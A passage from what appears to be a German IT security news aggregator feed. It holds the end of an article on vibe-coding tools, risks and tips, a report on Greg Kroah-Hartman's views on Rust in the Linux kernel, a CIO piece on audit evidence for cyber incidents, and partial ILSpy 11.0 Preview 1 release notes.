<li><a href="https://bolt.new/" target="_blank" rel="noreferrer noopener"><strong>Bolt</strong> </a>und <a href="https://lovable.dev/" target="_blank" rel="noreferrer noopener"><strong>Lovable</strong></a> sind Builder, eignen sich vor allem für schnelles Brainstorming und zeichnen sich durch überschaubaren technischen Aufwand aus. Diese Tools sind daher auch für Einsteiger geeignet.</li>



<li><a href="https://windsurf.com/" target="_blank" rel="noreferrer noopener"><strong>Windsurf</strong></a> und <a href="https://zed.dev/" target="_blank" rel="noreferrer noopener"><strong>Zed</strong></a> sind vollständige IDEs, die darauf ausgelegt sind, Vibe-Coding-Funktionen in traditionelle Dev-Umgebungen zu integrieren.</li>
</ul>



<h2 class="wp-block-heading">Diese Risiken birgt Vibe Coding</h2>



<p class="wp-block-paragraph">Trotz der genannten Vorteile birgt der Vibe-Coding-Ansatz auch diverse Risiken mit Blick auf die Wartbarkeit und Anfälligkeit der generierten Logik. So warnt etwa ShadowDragon-Managerin Mortlock: “<a href="https://www.computerwoche.de/article/4155663/6-wege-uber-ki-gehackt-zu-werden.html" target="_blank">Sicherheitslücken</a> und <a href="https://www.computerwoche.de/article/3980660/technische-schulden-als-billige-ausrede.html" target="_blank">technische Schulden</a> sind die Hauptprobleme in Zusammenhang mit Vibe Coding. KI kann manchmal unsichere Pattern oder auch veraltete Bibliotheken einbinden.”</p>



<p class="wp-block-paragraph">Zudem sei KI-generierter Code in den meisten Fällen auch länger, was das Debugging langwierig und mühsam gestalten könne, erklärt Mortlock. Sie fügt hinzu: “KI verweist unter Umständen auch auf nicht existierende Packages, was auch böswillige Akteure ausnutzen könnten. Was wie funktionierender Code aussieht, kann versteckte Fallen bergen.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/charlesjiama/" target="_blank" rel="noreferrer noopener">Charles Ma</a>, Software Engineer beim Observability-Spezialisten Chronosphere, sieht ein weiteres Problem, das die Angriffsfläche potenziell vergrößert: “Selbst erfahrene Engineers können selbstzufrieden werden und dann Probleme übersehen, die ihnen sonst nicht entgangen wären. Sobald KI-Tools mit externen Systemen verbunden sind oder Websuchen durchführen, besteht außerdem das Risiko von Prompt Injections und Toolchain-Exploits.”</p>



<p class="wp-block-paragraph">Infrastruktur-Profi Pardalis fokussiert mit Blick auf die Risiken von Vibe Coding vor allem die Bereiche Volatilität und Sichtbarkeit: Weil dieser Ansatz für schnelle Iterationen und Modellautonomie förderlich sei, bestünden die Hauptrisiken in unkontrollierter Variabilität und undurchsichtigen Quellen. Um diese Probleme zu bekämpfen, appelliert Pardalis für:</p>



<ul class="wp-block-list">
<li><strong>Lineage Tracking</strong>: Jede Version wird committet und verwendet Frameworks mit integrierter Traceability.</li>



<li><strong>Evaluierungsschleifen</strong>: Qualitäts- und Regressionsprüfungen werden automatisiert durchgeführt.</li>



<li><strong>Governance-Layer</strong>: Prompt-Historien werden auditiert und sensible Daten gefiltert.</li>
</ul>



<p class="wp-block-paragraph">Der Engineering-Profi ist der Ansicht, dass eine expressive, modellgesteuerte Softwareentwicklung und eine deterministische Infrastruktur unter disziplinierten Rahmenbedingungen koexistieren können: “Letztendlich verspricht Vibe Coding kein Chaos, sondern strukturierte Kreativität. Sie entwickeln Ideen schnell, setzen sie aber sicher um. Mit anderen Worten: Freiheit am Anfang, Disziplin im weiteren Verlauf – so kann Vibe Coding tatsächlich in Produktionsumgebungen skaliert werden.”</p>



<h2 class="wp-block-heading">6 Tipps für effektives Vibe Coding</h2>



<p class="wp-block-paragraph">Da Sie nun umfassend über alle Aspekte des Vibe-Coding-Ansatzes informiert sind, geben wir Ihnen abschließend noch ein paar Tipps an die Hand, um Ihre eigene Initiative erfolgreich umzusetzen. Diese haben wir aus unseren Gesprächen mit den im Artikel zitierten Spezialisten zum Thema extrahiert</p>



<ul class="wp-block-list">
<li><strong>Beginnen Sie mit Zielen, nicht mit Funktionen:</strong> Beschreiben Sie zunächst die gewünschte <a href="https://www.computerwoche.de/article/2834420/der-niedergang-des-user-interface.html" target="_blank">User Experience</a> und die wesentlichen Geschäftsprobleme, die mit der Initiative gelöst werden sollen. Dabei müssen Sie es nicht übertreiben und jeden Button oder Screen definieren – für relevante Lösungen ist es entscheidend, der KI so genau wie möglich zu beschreiben, was erreicht werden soll.</li>



<li><strong>Planen Sie voraus:</strong> Vibe Coding ist nicht in der Lage, eine gute Architektur zu ersetzen. Bevor Sie KI hinzuziehen, sollten Sie deshalb sicherstellen, dass Design und Spezifikationen stimmen. Das erleichtert es der KI, “Intent” in kohärente Systeme zu übersetzen.  </li>



<li><strong>Verstehen Sie KI als Partner: </strong>Es gilt, mit Vibe-Coding-Tools zu kollaborieren. Diese Werkzeuge brauchen Anleitung und ihre Ergebnisse müssen überprüft werden. Blindes Vertrauen kann an dieser Stelle<a href="https://www.computerwoche.de/article/3829267/so-bleibt-ihr-code-halluzinationsfrei.html" target="_blank"> kontraproduktiv sein</a>. Sie sollten deshalb nicht zögern, die KI-generierte Logik in Frage zu stellen.</li>



<li><strong>Nutzen Sie Frameworks, Kontext und Beispiele:</strong> Etablierte Frameworks zu nutzen, erspart es Ihnen alles von Grund auf neu zu entwickeln. Die KI mit Beispielanwendungen zu füttern oder (<a href="https://www.computerwoche.de/article/4143599/mcp-server-5-tipps-fur-die-praxis.html" target="_blank">vertrauenswürdige</a>) MCP-Server hinzuzuziehen, um Kontext in größeren Projekten zu managen, kann ihre Fähigkeiten erweitern.  </li>



<li><strong>Halten Sie Menschen – und Security – im Loop:</strong> Setzen Sie auch bei Vibe- respektive KI-Coding-Tools auf das Least-Privilege-Prinzip – und Review-Prozesse. Engineering Best Practices anzuwenden, empfiehlt sich ebenfalls: Generieren Sie Tests, verifizieren Sie Funktionalitäten. Und betrachten Sie die Tools als Kreativitäts- und Produktivitäts-Support. Nicht als Substitut für <a href="https://www.computerwoche.de/article/2834999/3-dinge-die-senior-developer-auszeichnen.html" target="_blank">Skills und Knowhow</a>.</li>



<li><strong>Iterieren und verfeinern Sie: </strong>Nehmen Sie mit Blick auf Vibe Coding Abstand vom Streben nach Perfektion (auch wenn es Ihnen <a href="https://www.computerwoche.de/article/4048410/was-junior-entwickler-von-the-bear-lernen-konnen.html" target="_blank">widerstrebt</a>) und finden Sie sich möglichst frühzeitig mit unvollkommenen Ergebnissen ab. Tracken Sie Prompts, cachen Sie Checkpoints und verfeinern Sie die Ergebnisse – solange, bis der “Flow” zu einer zuverlässigen Funktionalität wird.</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
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<title><![CDATA[Rust Will Help Linux Succeed and Makes Coding Fun, Says Greg Kroah-Hartman]]></title>
<description><![CDATA[ZDNet reports on June's Open Source Summit India 2026 in Mumbai, where Linux stable kernel maintainer Greg Kroah-Hartman gave a talk titled "Rust and Linux: How the Rust Language is Going to Help Linux Succeed."




 Kroah-Hartman said in his keynote that "the [Linux] kernel is moving toward Rust...]]></description>
<link>https://tsecurity.de/de/3680295/it-security-nachrichten/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680295/it-security-nachrichten/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman/</guid>
<pubDate>Mon, 20 Jul 2026 07:54:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ZDNet reports on June's Open Source Summit India 2026 in Mumbai, where Linux stable kernel maintainer Greg Kroah-Hartman gave a talk titled "Rust and Linux: How the Rust Language is Going to Help Linux Succeed."




 Kroah-Hartman said in his keynote that "the [Linux] kernel is moving toward Rust. Git is moving toward Rust. Lots of projects are starting to move toward Rust."
 

He didn't always feel that way. Kroah-Hartman added, "A number of years ago, when a friend of mine said, 'Ah, you got to try this new language. It's called Rust.' I was like, 'What? No, C is great.' His friend continued, "'No, no, no! It makes programming fun again.' I'm like, 'Nah, programming is fun in C.' He was right. I should have done it then. Rust is actually fun. It makes programming fun. It takes a lot of stuff away from having to worry about the compiler, which can fix a lot of your problems for you, and it makes code a little bit better." 

So, Kroah-Hartman has moved from being a Rust skeptic to one of its strongest champions inside the kernel. He now regards Rust as a permanent part of Linux, not an experiment. His case is straightforward: Rust's ownership and type system can eliminate most of the "stupid little tiny things" that dominate kernel Common Vulnerabilities and Exposures (CVEs), while making life easier for overworked maintainers. "Rust," in short, "makes my life so much easier...." In India, he said Linux sees "about 13 CVEs a day" and has been running at "almost nine changes an hour" for a decade or more. Most of those vulnerabilities, he argued, are not exotic attacks but simple C mistakes — unchecked pointers, forgotten unlocks, and sloppy cleanup paths: "This is what we're fixing 13 times a day. Small, trivial, little bugs like this all the time.... I've seen every CVE the kernel has done in the past 25 years. I think 80% would be gone, just because they would be caught by Rust." The remaining 20% are the logic bugs he'd prefer to focus on...." 

 Moreover, Rust is becoming the default for new work in key subsystems. "New drivers for some subsystems are only going to be accepted in Rust...." he said. Binder, the Android IPC mechanism at the heart of billions of devices, now has parallel C and Rust implementations in the kernel. The C version "will go away soon," leaving the Rust version "as the bedrock of all Android devices going forward."<p></p><div class="share_submission">
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</div><p><a href="https://developers.slashdot.org/story/26/07/20/0417244/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[The audit trail CIOs need before the next cyber crisis]]></title>
<description><![CDATA[In one ransomware response I observed, the master operational dashboard remained green while the underlying environment told a very different story. It was a classic example of what we in the IT audit profession call the “watermelon effect”—green on the outside, red on the inside.



Beneath that...]]></description>
<link>https://tsecurity.de/de/3680143/it-security-nachrichten/the-audit-trail-cios-need-before-the-next-cyber-crisis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680143/it-security-nachrichten/the-audit-trail-cios-need-before-the-next-cyber-crisis/</guid>
<pubDate>Mon, 20 Jul 2026 02:13:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In one ransomware response I observed, the master operational dashboard remained green while the underlying environment told a very different story. It was a classic example of what we in the IT audit profession call the “watermelon effect”—green on the outside, red on the inside.</p>



<p class="wp-block-paragraph">Beneath that dashboard sat an unmapped web of legacy technical debt, undocumented service accounts and shadow cloud instances. For years, presenting a green dashboard to the audit committee could give technology leaders a false sense of comfort. If a catastrophic breach occurred, it was generally treated as an unpredictable operational tragedy, managed via cyber insurance, a carefully calibrated public relations pivot and perhaps a quiet executive transition.</p>



<p class="wp-block-paragraph">Today, that corporate shield is thinner than many technology leaders assume. For technology leaders in regulated or public-company environments, executive exposure is no longer only a theoretical debate. The regulatory environment has made plausible deniability much harder to sustain.</p>



<h2 class="wp-block-heading">The erosion of the corporate shield</h2>



<p class="wp-block-paragraph">With the application of the European Union’s <a href="https://www.eiopa.europa.eu/digital-operational-resilience-act-dora_en">Digital Operational Resilience Act (DORA)</a> for financial entities, alongside the broader <a href="https://digital-strategy.ec.europa.eu/en/policies/nis2-directive">NIS2 Directive</a> for essential and important entities, cybersecurity governance has become harder to separate from board-level oversight. DORA places ultimate responsibility for ICT risk management on the management body of financial entities, while NIS2 requires management bodies to approve and oversee cybersecurity risk-management measures. In the United States, the <a href="https://www.sec.gov/newsroom/press-releases/2023-139">U.S. Securities and Exchange Commission’s cybersecurity disclosure rules</a> require public companies to disclose material cyber incidents and describe their cyber risk management, strategy and governance in annual filings. The new burden is not simply to operate controls; it is to show, after the fact, that leadership decisions matched the risk evidence available at the time.</p>



<p class="wp-block-paragraph">The serious risk to a modern CIO is not simply the occurrence of a sophisticated security incident. The true danger is the inability to reconcile what leadership presented externally to investors, regulators and the board with what the internal evidence showed inside the environment.</p>



<p class="wp-block-paragraph">When a serious crisis breaks, you may find yourself surrounded by corporate defense counsel, regulatory investigators and outside forensic lawyers all asking variations of the same uncomfortable questions: What did you know, when did you discover it and what specific actions did you take next?</p>



<p class="wp-block-paragraph">When those questions are asked, a slide deck asserting that your security posture is “aligned with industry best practices” will not be enough. A post-incident review may recognize that sophisticated attacks occur. What creates greater exposure is evidence that known risks were ignored, understated or left outside structured governance. To survive that level of post-incident review, one of your strongest assets is a disciplined, independent evidence trail showing that risks were identified, challenged, escalated and acted on before the first indicator of compromise appeared.</p>



<h2 class="wp-block-heading">Why point-in-time comfort letters fail regulatory scrutiny</h2>



<p class="wp-block-paragraph">The reality we face is that legacy compliance evidence often falls short under regulatory scrutiny. For years, the annual SOC 2 Type II report or a standardized ISO 27001 certification was brandished by technology teams as the definitive proof of a functional control environment. I have sat in dozens of scoping meetings where an engineering director pointed to a freshly minted compliance report as if it were a complete defense against scrutiny.</p>



<p class="wp-block-paragraph">But a compliance report is a historical artifact—a retrospective evaluation of how specific controls operated during a defined window of time months in the past. It tells an investigator that on a random afternoon in Q2, your production change-management approvals conformed to a baseline policy. It says absolutely nothing about the configuration drift, unauthorized API keys or emergency patch bypasses that developers introduced the following weekend to hit a product release deadline.</p>



<p class="wp-block-paragraph">Modern regulators, boards and investors are no longer satisfied by historical comfort letters alone. Under contemporary frameworks, especially regimes focused on operational resilience, static compliance evidence is no longer enough. The expectation of due care has shifted from a passive state of compliance to an active state of continuous challenge. Increasingly, post-incident reviews look for evidence that leadership identified system vulnerabilities, formally escalated material deficiencies, evaluated systemic risk to the business and tracked remediation progress with measurable rigor.</p>



<p class="wp-block-paragraph">When an architecture fails, post-incident reviews often focus quickly on ownership, escalation and whether known risks were acted upon. If your defensive documentation consists entirely of static policy documents and green dashboards, you leave an evidentiary vacuum that can invite difficult questions about executive oversight. Post-incident reviews rarely turn on perfection. They turn on whether the organization can show a traceable chain of governance.</p>



<h2 class="wp-block-heading">5 non-negotiable artifacts for your executive evidence engine</h2>



<p class="wp-block-paragraph">This reality requires a complete reframing of your relationship with your IT audit department. Historically, this dynamic has been defined by friction. Technology leaders frequently view my peers and me as compliance traffic cops—bureaucrats who interrupt core engineering sprints to demand evidence samples, user access reviews and system configurations.</p>



<p class="wp-block-paragraph">It is time to view IT audit through a pragmatic lens: we are your independent evidence engine. We are one of the few corporate functions tasked with independently challenging your control environment, documenting where exceptions were escalated and showing how management responded. When an auditor identifies a control gap and partners with you to draft a management action plan, they are not creating a bureaucratic roadblock. They are helping you construct an evidence trail that can show risk was identified, escalated and acted upon.</p>



<p class="wp-block-paragraph">To transform your IT audit function into an effective executive shield, you must shift focus away from superficial check-the-box exercises and collaborate on specific artifacts. The most effective exercise you can run with your audit leadership is to flip the timeline completely and ask: if this program were reviewed six months from now, which evidence would show we governed the risk before it failed?</p>



<ol class="wp-block-list">
<li><strong>Board-facing risk registers with escalation history:</strong> A risk register that sits unreviewed on an intranet page for 12 months is not a management tool; to an investigator, it can look like evidence that known risks were not actively governed. Your material technology, cybersecurity and dependency risks must be centrally logged. More importantly, this artifact must contain a clear, chronological escalation history showing exactly when the risk was presented to leadership committees and the board, along with related minutes, decisions or follow-up actions.</li>



<li><strong>Granular risk acceptance records:</strong> You cannot remediate every vulnerability instantly. Business continuity, legacy software limitations and budgetary boundaries require you to accept certain operational exposures. When this occurs, ensure your risk acceptance records are airtight. A defensible record must document the specific technical variance, the precise financial or operational rationale for the delay, a definitive expiration date, explicit executive sign-off and the active compensating controls deployed to reduce the blast radius in the interim.</li>



<li><strong>Tabletop and operational simulation records:</strong> Independent frameworks such as <a href="https://www.isaca.org/digital-trust">ISACA’s Digital Trust Ecosystem Framework</a> can help structure this evidence, but boards and regulators will still look for proof that the testing actually happened. Your audit trail should contain comprehensive records of cyber incident, disaster recovery and third-party dependency simulations. These records must detail the scenario tested, the executive participants, the control failures identified during the drill and a formalized tracking schedule showing when those gaps were closed.</li>



<li><strong>AI governance inventories and data-flow mappings:</strong> The rapid deployment of generative AI tools across enterprise operations has created a massive blind spot for technology executives. In one audit, we found developers using an unapproved public large language model to accelerate debugging with sensitive internal code. To protect yourself, work with your audit team to build an active enterprise AI inventory that maps data lineage, identifies model business owners, documents risk classification approvals and demonstrates active technical monitoring for unauthorized data exfiltration.</li>



<li><strong>Synchronized disclosure-control handoffs:</strong> When a material security incident or system outage occurs, the clock begins ticking for regulatory reporting. Your incident response playbook must be technically linked to your corporate disclosure controls. The audit trail should show that a documented, synchronized handoff occurred between your technical response leaders, general counsel, chief financial officer and corporate communications team. This evidence helps show that your external statements match internal technical realities.</li>
</ol>



<p class="wp-block-paragraph">In the modern corporate ecosystem, technology leadership is no longer just an engineering challenge; it is an exercise in rigorous, evidence-based governance. The regulatory landscape has changed, and the expectation of continuous traceability cannot be avoided.</p>



<p class="wp-block-paragraph">Open and direct collaboration with your IT audit team will not prevent a zero-day exploit, an unexpected cloud outage or a critical third-party vendor failure. That is not the purpose of enterprise risk management.</p>



<p class="wp-block-paragraph">The true value is far more practical: when a serious incident puts your program under review, you will not be forced to defend your reputation with a feeling, an unverified assumption or a misleadingly green dashboard. Instead, you will have an independent record showing that risk was actively seen, appropriately challenged, properly escalated and responsibly managed. In today’s regulatory environment, that disciplined trail of evidence may be the difference between a failure that can be explained and one that begins to look negligent.</p>



<p class="wp-block-paragraph">.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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</item>
<item>
<title><![CDATA[ILSpy 11.0 Preview 1]]></title>
<description><![CDATA[WarningWe DO NOT own the domain ilspy[.]org See #3709
Download ILSpy only from GitHub Releases!

This release is based on .NET 10.0. Please make sure that you have it installed on your machine beforehand.
Note for Mac users: see https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-th...]]></description>
<link>https://tsecurity.de/de/3679608/it-security-tools/ilspy-110-preview-1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679608/it-security-tools/ilspy-110-preview-1/</guid>
<pubDate>Sun, 19 Jul 2026 16:33:41 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="markdown-alert markdown-alert-warning"><p class="markdown-alert-title"><svg data-component="Octicon" class="octicon octicon-alert mr-2" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg>Warning</p><p><strong>We DO NOT own the domain ilspy[.]org</strong> See <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4211773802" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3709" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3709/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3709">#3709</a><br>
Download ILSpy only from GitHub Releases!</p>
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<p>This release is based on <a href="https://dotnet.microsoft.com/en-us/download/dotnet/10.0" rel="nofollow">.NET 10.0</a>. Please make sure that you have it installed on your machine beforehand.</p>
<p>Note for Mac users: see <a href="https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-the-macos-artifact">https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-the-macos-artifact</a> because the ILSpy.app is neither signed nor notarized.</p>
<h1>Avalonia Cross Platform Port</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4630432393" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3755" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3755/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3755">#3755</a>: Avalonia 12 Port and Removal of the WPF UI</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632742730" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3759" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3759/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3759">#3759</a>: Metadata explorer cleanup, flags-filter fixes, and WPF row-details parity</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4638079113" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3766" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3766/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3766">#3766</a>: Round-trip the legacy WPF SessionSettings shape</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639024005" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3768" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3768/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3768">#3768</a>: Build, test, and package ILSpy on Linux and macOS in CI</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4810623972" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3861" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3861/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3861">#3861</a>: Show text-based resources inline with syntax highlighting</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4852089007" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3875" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3875/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3875">#3875</a>: Avalonia 12.1</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4863426967" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3876" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3876/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3876">#3876</a>: Keep BAML decompilation working when WPF assemblies are missing</li>
</ul>
<h1>New Features</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4789908433" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3847" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3847/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3847">#3847</a>: Unpack !AvaloniaResources into per-file resource tree nodes</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718765259" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3801" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3801/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3801">#3801</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4712188871" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3797" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3797/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3797">#3797</a>: resolve ilspycmd -t type names with fuzzy matching</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4683952279" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3789" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3789/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3789">#3789</a>: Add a bookmarks feature for the decompiled C# view</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4666953116" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3786" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3786/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3786">#3786</a>: Add omnibar breadcrumb and search bar above the decompiled code</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639165641" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3769" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3769/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3769">#3769</a>: Make the override modifier a link to the overridden member</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4634190887" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3762" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3762/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3762">#3762</a>: Add Open from NuGet feed dialog for browsing and opening packages</li>
</ul>
<h1>User Interface</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4808073575" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3857" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3857/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3857">#3857</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="665845843" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/2078" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/2078/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/2078">#2078</a>: Generic local functions not highlighted properly</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4807826529" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3855" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3855/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3855">#3855</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4781346048" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3845" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3845/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3845">#3845</a>: Add option to expand XML documentation comments</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4732796565" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3814" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3814/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3814">#3814</a>: Toggle the fold under the right-click, not at the caret</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4732765182" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3812" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3812/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3812">#3812</a>: Syntax-colour analyzer signatures with bold type names (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="704805286" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/2164" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/2164/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/2164">#2164</a>)</li>
</ul>
<h1>Enhancements</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832648354" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3872" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3872/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3872">#3872</a>: Decompile await on dynamic expressions</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759122422" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3837" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3837/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3837">#3837</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4720769518" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3804" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3804/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3804">#3804</a>: decompile foreach over inline array</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4687061981" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3791" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3791/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3791">#3791</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4650340876" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3777" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3777/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3777">#3777</a>: decompile runtime async without a separate C# 15 setting</li>
